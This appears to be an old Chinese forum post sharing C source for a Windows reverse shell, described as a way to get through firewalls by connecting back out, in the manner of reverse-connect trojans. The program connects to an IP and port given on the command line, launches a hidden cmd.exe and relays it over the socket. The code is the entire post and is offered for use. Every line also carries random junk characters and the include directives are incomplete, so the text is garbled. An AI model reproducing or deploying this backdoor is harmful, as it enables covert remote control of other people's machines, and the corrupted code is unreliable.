Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 6\8 lx|w  
9XU"Ppv  
/* ============================== qu}`;\9@ld  
Rebound port in Windows NT 5C03)Go3Z  
By wind,2006/7 w!~%v #  
===============================*/ YMlnC7?_/  
#include f:/[  
#include q7itznQSKc  
^TC<_]7  
#pragma comment(lib,"wsock32.lib") |AY`OVgcKD  
C26vH#C  
void OutputShell(); NGA8JV/U  
SOCKET sClient; O26'|w@$  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; BhO*Pfs  
3<5E254N  
void main(int argc,char **argv) P>*B{fi^  
{ *aE/\b  
WSADATA stWsaData; Y)X 'hk)5|  
int nRet; Mqy5>f)  
SOCKADDR_IN stSaiClient,stSaiServer; ^qn,b/>L  
$L~?!u&N  
if(argc != 3) J>H$4t#HX  
{ i{#5=np H  
printf("Useage:\n\rRebound DestIP DestPort\n"); =F!_ivV  
return; x,f=J4yco  
} ^/K]id7 2  
p2v+sWO  
WSAStartup(MAKEWORD(2,2),&stWsaData); c ilo8x`  
){XaO;k<]  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); xJ/<G$LNJ0  
6P0\t\D0  
stSaiClient.sin_family = AF_INET; \0K3TMl)J  
stSaiClient.sin_port = htons(0); S4r-s;U-v/  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); "OIra2O  
||M;[-JoJ  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) }8H_^G8  
{ pzkl;"gK  
printf("Bind Socket Failed!\n"); ,BUDo9h  
return; xq U@87[_  
} {FIr|R&  
cqP)1V]  
stSaiServer.sin_family = AF_INET; D)XV{Wit  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 73:y&U  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); )oEHE7y  
#:^aE|s  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) (qf%,F,_L  
{ |.OXe!uU41  
printf("Connect Error!"); [Pn(d[$z  
return; -i,=sZXB  
} Dy_ayxm  
OutputShell(); 0QWc1L  
} ~1_v;LhH5+  
29W~<E8K-  
void OutputShell() t`b!3U>I  
{ .ZV-]jgr  
char szBuff[1024]; AW;ncx;  
SECURITY_ATTRIBUTES stSecurityAttributes; =Nyq1~   
OSVERSIONINFO stOsversionInfo; =jz*|e|V  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; I$rnW  
STARTUPINFO stStartupInfo; ,KT[ }P7  
char *szShell; 'Y6x!i2  
PROCESS_INFORMATION stProcessInformation; EWI2qaSnO  
unsigned long lBytesRead; my.%zF  
`R9}.?7  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); q+KGQ*  
TSgfIE|
 
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); <BUKTRq  
stSecurityAttributes.lpSecurityDescriptor = 0; ;
9WS#>o  
stSecurityAttributes.bInheritHandle = TRUE; 1 P0)La#  
E< 57d,3l  
Q1cM{$}M  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); !x%$xC^Iz  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); B)5QI  
6~:eO(pK l  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 5$Q}Zxh  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; kjS9?>i  
stStartupInfo.wShowWindow = SW_HIDE; 5,i0QT"  
stStartupInfo.hStdInput = hReadPipe; m1d*Lt>F@  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Kd<c'!  
E41ay:duAl  
GetVersionEx(&stOsversionInfo); )<<}8Fs  
i4Ps#R_wx  
switch(stOsversionInfo.dwPlatformId) /Dmuvb|A  
{ lk<}`#(g  
case 1: W7\s=t\  
szShell = "command.com"; ji8)/  
break; T>$S&U  
default:
^ UB*Q  
szShell = "cmd.exe"; &jbZL5  
break; (IE\}QcK  
} *$+:Cbe-F  
><l|&&e-  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ;J]
Lzh  
Eku+&f@RB  
send(sClient,szMsg,77,0); Vo G`@^s  
while(1) 8p91ni'  
{ bL6, fUS  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); <Qx]"ZP%  
if(lBytesRead) Hzn6H4Rc  
{ R6xJw2;_  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); i]8+JG6  
send(sClient,szBuff,lBytesRead,0); y3^>a5z!x  
} acPX2B[jJ  
else  D|8Pe{`  
{ r+yl{  
lBytesRead=recv(sClient,szBuff,1024,0); wjRv=[  
if(lBytesRead<=0) break; T@{}!  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); y)Y0SY1\j  
} q'% cVM  
} )0tq&  
w1N-`S:  
return; (8XP7c]5  
}